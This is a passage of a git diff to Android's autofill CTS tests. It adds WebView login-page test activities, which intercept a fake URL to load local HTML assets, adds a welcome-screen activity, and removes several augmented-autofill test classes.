+                listener.onTextChanged(text, 0, 0, 0);
+            }
+        }
+
+        @Override
+        public String toString() {
+            return id + "/" + resourceId + ": " + text + (editable ? " (editable)" : " (read-only)"
+                    + (sensitive ? " (sensitive)" : " (sanitized"));
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/WebViewActivity.java
new file mode 100644
index 0000000..d795209
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/WebViewActivity.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Timeouts.WEBVIEW_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.Context;
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.View;
+import android.webkit.WebResourceRequest;
+import android.webkit.WebResourceResponse;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class WebViewActivity extends AbstractWebViewActivity {
+
+    private static final String TAG = "WebViewActivity";
+    private static final String FAKE_URL = "https://" + FAKE_DOMAIN + ":666/login.html";
+    static final String ID_WEBVIEW = "webview";
+
+    public static final String ID_OUTSIDE1 = "outside1";
+    public static final String ID_OUTSIDE2 = "outside2";
+
+    public EditText mOutside1;
+    public EditText mOutside2;
+
+    private LinearLayout mParent;
+    private LinearLayout mOutsideContainer1;
+    private LinearLayout mOutsideContainer2;
+
+    private UiObject2 mUsernameLabel;
+    private UiObject2 mUsernameInput;
+    private UiObject2 mPasswordLabel;
+    private UiObject2 mPasswordInput;
+    private UiObject2 mLoginButton;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.webview_activity);
+
+        mParent = findViewById(R.id.parent);
+        mOutsideContainer1 = findViewById(R.id.outsideContainer1);
+        mOutsideContainer2 = findViewById(R.id.outsideContainer2);
+        mOutside1 = findViewById(R.id.outside1);
+        mOutside2 = findViewById(R.id.outside2);
+    }
+
+    public MyWebView loadWebView(UiBot uiBot) throws Exception {
+        return loadWebView(uiBot, false);
+    }
+
+    public MyWebView loadWebView(UiBot uiBot, boolean usingAppContext) throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> {
+            final Context context = usingAppContext ? getApplicationContext() : this;
+            mWebView = new MyWebView(context);
+            mParent.addView(mWebView);
+            mWebView.setWebViewClient(new WebViewClient() {
+                // WebView does not set the WebDomain on file:// requests, so we need to use an
+                // https:// request and intercept it to provide the real data.
+                @Override
+                public WebResourceResponse shouldInterceptRequest(WebView view,
+                        WebResourceRequest request) {
+                    final String url = request.getUrl().toString();
+                    if (!url.equals(FAKE_URL)) {
+                        Log.d(TAG, "Ignoring " + url);
+                        return super.shouldInterceptRequest(view, request);
+                    }
+
+                    final String rawPath = request.getUrl().getPath()
+                            .substring(1); // Remove leading /
+                    Log.d(TAG, "Converting " + url + " to " + rawPath);
+                    // NOTE: cannot use try-with-resources because it would close the stream before
+                    // WebView uses it.
+                    try {
+                        return new WebResourceResponse("text/html", "utf-8",
+                                getAssets().open(rawPath));
+                    } catch (IOException e) {
+                        throw new IllegalArgumentException("Error opening " + rawPath, e);
+                    }
+                }
+
+                @Override
+                public void onPageFinished(WebView view, String url) {
+                    Log.v(TAG, "onPageFinished(): " + url);
+                    latch.countDown();
+                }
+            });
+            mWebView.loadUrl(FAKE_URL);
+        });
+
+        // Wait until it's loaded.
+        if (!latch.await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
+            throw new RetryableException(WEBVIEW_TIMEOUT, "WebView not loaded");
+        }
+
+        // Validation check to make sure autofill was enabled when the WebView was created
+        assertThat(mWebView.isAutofillEnabled()).isTrue();
+
+        // WebView builds its accessibility tree asynchronously and only after being queried the
+        // first time, so we should first find the WebView and query some of its properties,
+        // wait for its accessibility tree to be populated (by blocking until a known element
+        // appears), then cache the objects for further use.
+
+        // NOTE: we cannot search by resourceId because WebView does not set them...
+
+        // Wait for known element...
+        mUsernameLabel = uiBot.assertShownByText("Username: ", WEBVIEW_TIMEOUT);
+        // ...then cache the others
+        mUsernameInput = getInput(uiBot, mUsernameLabel);
+        mPasswordLabel = uiBot.findRightAwayByText("Password: ");
+        mPasswordInput = getInput(uiBot, mPasswordLabel);
+        mLoginButton = uiBot.findRightAwayByText("Login");
+
+        return mWebView;
+    }
+
+    public void loadOutsideViews() {
+        syncRunOnUiThread(() -> {
+            mOutsideContainer1.setVisibility(View.VISIBLE);
+            mOutsideContainer2.setVisibility(View.VISIBLE);
+        });
+    }
+
+    public UiObject2 getUsernameLabel() throws Exception {
+        return mUsernameLabel;
+    }
+
+    public UiObject2 getPasswordLabel() throws Exception {
+        return mPasswordLabel;
+    }
+
+    public UiObject2 getUsernameInput() throws Exception {
+        return mUsernameInput;
+    }
+
+    public UiObject2 getPasswordInput() throws Exception {
+        return mPasswordInput;
+    }
+
+    public UiObject2 getLoginButton() throws Exception {
+        return mLoginButton;
+    }
+
+    @Override
+    public void clearFocus() {
+        syncRunOnUiThread(() -> mParent.requestFocus());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/WebViewMultiScreenLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/WebViewMultiScreenLoginActivity.java
new file mode 100644
index 0000000..56684ab
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/WebViewMultiScreenLoginActivity.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Timeouts.WEBVIEW_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.UiBot;
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.webkit.WebResourceRequest;
+import android.webkit.WebResourceResponse;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class WebViewMultiScreenLoginActivity extends AbstractWebViewActivity {
+
+    private static final String TAG = "WebViewMultiScreenLoginActivity";
+    private static final String FAKE_USERNAME_URL = "https://" + FAKE_DOMAIN + ":666/username.html";
+    private static final String FAKE_PASSWORD_URL = "https://" + FAKE_DOMAIN + ":666/password.html";
+
+    private UiObject2 mUsernameLabel;
+    private UiObject2 mUsernameInput;
+    private UiObject2 mNextButton;
+
+    private UiObject2 mPasswordLabel;
+    private UiObject2 mPasswordInput;
+    private UiObject2 mLoginButton;
+
+    private final Map<String, CountDownLatch> mLatches = new HashMap<>();
+
+    public WebViewMultiScreenLoginActivity() {
+        mLatches.put(FAKE_USERNAME_URL, new CountDownLatch(1));
+        mLatches.put(FAKE_PASSWORD_URL, new CountDownLatch(1));
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.webview_only_activity);
+        mWebView = findViewById(R.id.my_webview);
+    }
+
+    public MyWebView loadWebView(UiBot uiBot) throws Exception {
+        syncRunOnUiThread(() -> {
+            mWebView.setWebViewClient(new WebViewClient() {
+                // WebView does not set the WebDomain on file:// requests, so we need to use an
+                // https:// request and intercept it to provide the real data.
+                @Override
+                public WebResourceResponse shouldInterceptRequest(WebView view,
+                        WebResourceRequest request) {
+                    final String url = request.getUrl().toString();
+                    if (!url.equals(FAKE_USERNAME_URL) && !url.equals(FAKE_PASSWORD_URL)) {
+                        Log.d(TAG, "Ignoring " + url);
+                        return super.shouldInterceptRequest(view, request);
+                    }
+
+                    final String rawPath = request.getUrl().getPath()
+                            .substring(1); // Remove leading /
+                    Log.d(TAG, "Converting " + url + " to " + rawPath);
+                    // NOTE: cannot use try-with-resources because it would close the stream before
+                    // WebView uses it.
+                    try {
+                        return new WebResourceResponse("text/html", "utf-8",
+                                getAssets().open(rawPath));
+                    } catch (IOException e) {
+                        throw new IllegalArgumentException("Error opening " + rawPath, e);
+                    }
+                }
+
+                @Override
+                public void onPageFinished(WebView view, String url) {
+                    final CountDownLatch latch = mLatches.get(url);
+                    Log.v(TAG, "onPageFinished(): " + url + " latch: " + latch);
+                    if (latch != null) {
+                        latch.countDown();
+                    }
+                }
+            });
+            mWebView.loadUrl(FAKE_USERNAME_URL);
+        });
+
+        // Wait until it's loaded.
+        if (!mLatches.get(FAKE_USERNAME_URL).await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
+            throw new RetryableException(WEBVIEW_TIMEOUT, "WebView not loaded");
+        }
+
+        // Validation check to make sure autofill was enabled when the WebView was created
+        assertThat(mWebView.isAutofillEnabled()).isTrue();
+
+        // WebView builds its accessibility tree asynchronously and only after being queried the
+        // first time, so we should first find the WebView and query some of its properties,
+        // wait for its accessibility tree to be populated (by blocking until a known element
+        // appears), then cache the objects for further use.
+
+        // NOTE: we cannot search by resourceId because WebView does not set them...
+
+        // Wait for known element...
+        mUsernameLabel = uiBot.assertShownByText("Username: ", WEBVIEW_TIMEOUT);
+        // ...then cache the others
+        mUsernameInput = getInput(uiBot, mUsernameLabel);
+        mNextButton = uiBot.findRightAwayByText("Next");
+
+        return mWebView;
+    }
+
+    public void waitForPasswordScreen(UiBot uiBot) throws Exception {
+        // Wait until it's loaded.
+        if (!mLatches.get(FAKE_PASSWORD_URL).await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
+            throw new RetryableException(WEBVIEW_TIMEOUT, "Password page not loaded");
+        }
+
+        // WebView builds its accessibility tree asynchronously and only after being queried the
+        // first time, so we should first find the WebView and query some of its properties,
+        // wait for its accessibility tree to be populated (by blocking until a known element
+        // appears), then cache the objects for further use.
+
+        // NOTE: we cannot search by resourceId because WebView does not set them...
+
+        // Wait for known element...
+        mPasswordLabel = uiBot.assertShownByText("Password: ", WEBVIEW_TIMEOUT);
+        // ...then cache the others
+        mPasswordInput = getInput(uiBot, mPasswordLabel);
+        mLoginButton = uiBot.findRightAwayByText("Login");
+    }
+
+    public UiObject2 getUsernameLabel() throws Exception {
+        return mUsernameLabel;
+    }
+
+    public UiObject2 getUsernameInput() throws Exception {
+        return mUsernameInput;
+    }
+
+    public UiObject2 getNextButton() throws Exception {
+        return mNextButton;
+    }
+
+    public UiObject2 getPasswordLabel() throws Exception {
+        return mPasswordLabel;
+    }
+
+    public UiObject2 getPasswordInput() throws Exception {
+        return mPasswordInput;
+    }
+
+    public UiObject2 getLoginButton() throws Exception {
+        return mLoginButton;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/WelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/WelcomeActivity.java
new file mode 100644
index 0000000..4113db3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/WelcomeActivity.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.PendingIntent;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.text.TextUtils;
+import android.util.Log;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Activity that displays a "Welcome USER" message after login.
+ */
+public class WelcomeActivity extends AbstractAutoFillActivity {
+
+    private static WelcomeActivity sInstance;
+
+    private static final String TAG = "WelcomeActivity";
+
+    public static final String EXTRA_MESSAGE = "message";
+    public static final String ID_WELCOME = "welcome";
+
+    private static int sPendingIntentId;
+    private static PendingIntent sPendingIntent;
+
+    private TextView mWelcome;
+
+    public WelcomeActivity() {
+        sInstance = this;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.welcome_activity);
+
+        mWelcome = (TextView) findViewById(R.id.welcome);
+
+        final Intent intent = getIntent();
+        final String message = intent.getStringExtra(EXTRA_MESSAGE);
+
+        if (!TextUtils.isEmpty(message)) {
+            mWelcome.setText(message);
+        }
+
+        Log.d(TAG, "Message: " + message);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        Log.v(TAG, "Setting sInstance to null onDestroy()");
+        sInstance = null;
+    }
+
+    @Override
+    public void finish() {
+        super.finish();
+        Log.d(TAG, "So long and thanks for all the finish!");
+
+        if (sPendingIntent != null) {
+            Log.v(TAG, " canceling pending intent on finish(): " + sPendingIntent);
+            sPendingIntent.cancel();
+        }
+    }
+
+    public static void finishIt() {
+        if (sInstance != null) {
+            sInstance.finish();
+        }
+    }
+
+    // TODO: reuse in other places
+    public static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
+        assertShowing(uiBot, null);
+    }
+
+    // TODO: reuse in other places
+    public static void assertShowing(UiBot uiBot, @Nullable String expectedMessage)
+            throws Exception {
+        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
+        if (expectedMessage == null) {
+            expectedMessage = "Welcome to the jungle!";
+        }
+        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
+                .isEqualTo(expectedMessage);
+    }
+
+    public static IntentSender createSender(Context context, String message) {
+        if (sPendingIntent != null) {
+            throw new IllegalArgumentException("Already have pending intent (id="
+                    + sPendingIntentId + "): " + sPendingIntent);
+        }
+        ++sPendingIntentId;
+        Log.v(TAG, "createSender: id=" + sPendingIntentId + " message=" + message);
+        final Intent intent = new Intent(context, WelcomeActivity.class)
+                .putExtra(EXTRA_MESSAGE, message)
+                .setFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
+        sPendingIntent = PendingIntent.getActivity(context, sPendingIntentId, intent,
+                PendingIntent.FLAG_IMMUTABLE);
+        return sPendingIntent.getIntentSender();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AbstractLoginNotImportantForAutofillTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AbstractLoginNotImportantForAutofillTestCase.java
deleted file mode 100644
index 67169b4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AbstractLoginNotImportantForAutofillTestCase.java
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.augmented.AugmentedHelper.assertBasicRequestInfo;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
-
-import android.autofillservice.cts.LoginNotImportantForAutofillActivity;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedFillRequest;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.widget.EditText;
-
-import org.junit.Test;
-
-abstract class AbstractLoginNotImportantForAutofillTestCase<A extends
-        LoginNotImportantForAutofillActivity> extends
-        AugmentedAutofillAutoActivityLaunchTestCase<A> {
-
-    protected A mActivity;
-
-    @Test
-    public void testAutofill_none() throws Exception {
-        // Set services
-        enableService();
-        enableAugmentedService();
-
-        // Set expectations
-        final EditText username = mActivity.getUsername();
-        final AutofillValue expectedFocusedValue = username.getAutofillValue();
-        final AutofillId expectedFocusedId = username.getAutofillId();
-        sAugmentedReplier.addResponse(NO_AUGMENTED_RESPONSE);
-
-        // Trigger autofill
-        mActivity.onUsername(View::requestFocus);
-        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
-
-        // Assert request
-        assertBasicRequestInfo(request, mActivity, expectedFocusedId, expectedFocusedValue);
-
-        // Make sure standard Autofill UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Make sure Augmented Autofill UI is not shown.
-        mAugmentedUiBot.assertUiNeverShown();
-    }
-
-    @Test
-    public void testAutofill_oneField() throws Exception {
-        // Set services
-        enableService();
-        enableAugmentedService();
-
-        // Set expectations
-        final EditText username = mActivity.getUsername();
-        final AutofillId usernameId = username.getAutofillId();
-        final AutofillValue expectedFocusedValue = username.getAutofillValue();
-        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
-                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
-                        .setField(usernameId, "dude")
-                        .build(), usernameId)
-                .build());
-        mActivity.expectAutoFill("dude");
-
-        // Trigger autofill
-        mActivity.onUsername(View::requestFocus);
-        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
-
-        // Assert request
-        assertBasicRequestInfo(request, mActivity, usernameId, expectedFocusedValue);
-
-        // Make sure standard Autofill UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Make sure Augmented Autofill UI is shown.
-        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
-
-        // Autofill
-        ui.click();
-        mActivity.assertAutoFilled();
-        mAugmentedUiBot.assertUiGone();
-    }
-
-    @Test
-    public void testAutofill_twoFields() throws Exception {
-        // Set services
-        enableService();
-        enableAugmentedService();
-
-        // Set expectations
-        final EditText username = mActivity.getUsername();
-        final AutofillId usernameId = username.getAutofillId();
-        final AutofillValue expectedFocusedValue = username.getAutofillValue();
-        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
-                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
-                        .setField(usernameId, "dude")
-                        .setField(mActivity.getPassword().getAutofillId(), "sweet")
-                        .build(), usernameId)
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill
-        mActivity.onUsername(View::requestFocus);
-        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
-
-        // Assert request
-        assertBasicRequestInfo(request, mActivity, usernameId, expectedFocusedValue);
-
-        // Make sure standard Autofill UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Make sure Augmented Autofill UI is shown.
-        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
-
-        // Autofill
-        ui.click();
-        mActivity.assertAutoFilled();
-        mAugmentedUiBot.assertUiGone();
-    }
-
-    @Test
-    public void testAutofill_manualRequest() throws Exception {
-        // Set services
-        enableService();
-        enableAugmentedService();
-
-        // Set expectations
-        final EditText username = mActivity.getUsername();
-        final AutofillId usernameId = username.getAutofillId();
-        final AutofillValue expectedFocusedValue = username.getAutofillValue();
-        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
-                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
-                        .setField(usernameId, "dude")
-                        .build(), usernameId)
-                .build());
-        mActivity.expectAutoFill("dude");
-
-        // Trigger autofill
-        mActivity.forceAutofillOnUsername();
-        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
-
-        // Assert request
-        // No inline request because didn't focus on any view.
-        assertBasicRequestInfo(request, mActivity, usernameId, expectedFocusedValue,
-                /* hasInlineRequest */ false);
-
-        // Make sure standard Autofill UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Make sure Augmented Autofill UI is shown.
-        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
-
-        // Autofill
-        ui.click();
-        mActivity.assertAutoFilled();
-        mAugmentedUiBot.assertUiGone();
-    }
-
-    @Test
-    public void testAutofill_autoThenManualRequests() throws Exception {
-        // Set services
-        enableService();
-        enableAugmentedService();
-
-        // Set expectations
-        final EditText username = mActivity.getUsername();
-        final AutofillId usernameId = username.getAutofillId();
-        final AutofillValue expectedFocusedValue = username.getAutofillValue();
-        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
-                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
-                        .setField(usernameId, "WHATEVER")
-                        .build(), usernameId)
-                .build());
-
-        // Trigger autofill
-        mActivity.onUsername(View::requestFocus);
-        final AugmentedFillRequest request1 = sAugmentedReplier.getNextFillRequest();
-
-        // Assert request
-        assertBasicRequestInfo(request1, mActivity, usernameId, expectedFocusedValue);
-
-        // Make sure standard Autofill UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Make sure Augmented Autofill UI is shown.
-        mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
-
-        sReplier.addResponse(NO_RESPONSE);
-        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
-                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Fill Me")
-                        .setField(usernameId, "dude")
-                        .build(), usernameId)
-                .build());
-        mActivity.expectAutoFill("dude");
-
-        // Trigger autofill
-        mActivity.clearFocus();
-        mActivity.forceAutofillOnUsername();
-        sReplier.getNextFillRequest();
-        final AugmentedFillRequest request2 = sAugmentedReplier.getNextFillRequest();
-
-        // Assert request
-        assertBasicRequestInfo(request2, mActivity, usernameId, expectedFocusedValue);
-
-        // Make sure standard Autofill UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Make sure Augmented Autofill UI is shown.
-        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Fill Me");
-
-        // Autofill
-        ui.click();
-        mActivity.assertAutoFilled();
-        mAugmentedUiBot.assertUiGone();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAuthActivity.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAuthActivity.java
deleted file mode 100644
index 8de9eb7..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAuthActivity.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import android.app.PendingIntent;
-import android.autofillservice.cts.AbstractAutoFillActivity;
-import android.autofillservice.cts.R;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.service.autofill.Dataset;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Activity for testing Augmented Autofill authentication flow. This activity shows a simple UI;
- * when the UI is tapped, it returns whatever data was configured via the auth intent.
- */
-public class AugmentedAuthActivity extends AbstractAutoFillActivity {
-    private static final String TAG = "AugmentedAuthActivity";
-
-    public static final String ID_AUTH_ACTIVITY_BUTTON = "button";
-
-    private static final String EXTRA_DATASET_TO_RETURN = "dataset_to_return";
-    private static final String EXTRA_CLIENT_STATE_TO_RETURN = "client_state_to_return";
-    private static final String EXTRA_RESULT_CODE_TO_RETURN = "result_code_to_return";
-
-    private static final List<PendingIntent> sPendingIntents = new ArrayList<>(1);
-
-    public static void resetStaticState() {
-        for (PendingIntent pendingIntent : sPendingIntents) {
-            pendingIntent.cancel();
-        }
-        sPendingIntents.clear();
-    }
-
-    public static IntentSender createSender(Context context, int requestCode,
-            Dataset datasetToReturn, Bundle clientStateToReturn, int resultCodeToReturn) {
-        Intent intent = new Intent(context, AugmentedAuthActivity.class);
-        intent.putExtra(EXTRA_DATASET_TO_RETURN, datasetToReturn);
-        intent.putExtra(EXTRA_CLIENT_STATE_TO_RETURN, clientStateToReturn);
-        intent.putExtra(EXTRA_RESULT_CODE_TO_RETURN, resultCodeToReturn);
-        PendingIntent pendingIntent = PendingIntent.getActivity(context, requestCode, intent, 0);
-        sPendingIntents.add(pendingIntent);
-        return pendingIntent.getIntentSender();
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        Log.d(TAG, "Auth activity invoked, showing auth UI");
-        setContentView(R.layout.single_button_activity);
-        findViewById(R.id.button).setOnClickListener((v) -> {
-            Log.d(TAG, "Auth UI tapped, returning result");
-
-            Intent intent = getIntent();
-            Dataset dataset = intent.getParcelableExtra(EXTRA_DATASET_TO_RETURN);
-            Bundle clientState = intent.getParcelableExtra(EXTRA_CLIENT_STATE_TO_RETURN);
-            int resultCode = intent.getIntExtra(EXTRA_RESULT_CODE_TO_RETURN, RESULT_OK);
-            Log.d(TAG, "Output: dataset=" + dataset + ", clientState=" + clientState
-                    + ", resultCode=" + resultCode);
-
-            Intent result = new Intent();
-            result.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, dataset);
-            result.putExtra(AutofillManager.EXTRA_CLIENT_STATE, clientState);
-            setResult(resultCode, result);
-
-            finish();
-        });
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
deleted file mode 100644
index d0d61ec..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.Helper.allowOverlays;
-import static android.autofillservice.cts.Helper.disallowOverlays;
-
-import android.autofillservice.cts.AbstractAutoFillActivity;
-import android.autofillservice.cts.AutoFillServiceTestCase;
-import android.autofillservice.cts.UiBot;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedReplier;
-import android.content.AutofillOptions;
-import android.view.autofill.AutofillManager;
-
-import com.android.compatibility.common.util.RequiredSystemResourceRule;
-
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-
-/////
-///// NOTE: changes in this class should also be applied to
-/////       AugmentedAutofillManualActivityLaunchTestCase, which is exactly the same as this except
-/////       by which class it extends.
-
-// Must be public because of the @ClassRule
-public abstract class AugmentedAutofillAutoActivityLaunchTestCase
-        <A extends AbstractAutoFillActivity> extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
-
-    protected static AugmentedReplier sAugmentedReplier;
-    protected AugmentedUiBot mAugmentedUiBot;
-
-    private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
-
-    private static final RequiredSystemResourceRule sRequiredResource =
-            new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
-
-    private static final RuleChain sRequiredFeatures = RuleChain
-            .outerRule(sRequiredFeatureRule)
-            .around(sRequiredResource);
-
-    public AugmentedAutofillAutoActivityLaunchTestCase() {}
-
-    public AugmentedAutofillAutoActivityLaunchTestCase(UiBot uiBot) {
-        super(uiBot);
-    }
-
-    @BeforeClass
